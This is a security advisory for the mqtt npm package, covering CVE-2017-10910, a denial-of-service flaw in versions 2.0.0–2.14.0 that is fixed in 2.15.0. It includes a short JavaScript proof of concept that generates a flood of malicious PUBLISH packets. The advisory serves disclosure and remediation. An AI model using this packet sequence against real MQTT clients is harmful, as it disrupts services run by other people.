Packages / mqtt / Security

ModerateVulnerabilityGHSA-h9mj-fghc-664wCVE-2017-10910Published 28 Dec 2017

Denial of Service in mqtt

Affected releases · mqtt

  • 2.x2.0.0 – 2.14.0Fixed in 2.15.0

On 2.x, the newest line:

npm install mqtt@2.15.0
5.x
  1. Not affected

    5.0.0 – 5.16.1

    60 releases, latest

2.x
  1. Affected

    2.0.0 – 2.14.0

    34 releases

  2. Fixed

    2.15.0 – 2.18.9

    16 releases

210 stable releases of mqtt, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for mqtt. It is read in your browser and sent nowhere.

What happens

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
    packets.push(
        mqttp.generate({
            cmd:'publish',
            topic:Buffer.from('hello'),
            payload:Buffer.from('world'),
            retain: false,
            dup: false, 
            messageId: ++i, 
            qos: 1
        })
    )
}

Recommendation

Update to version 2.15.0 or later.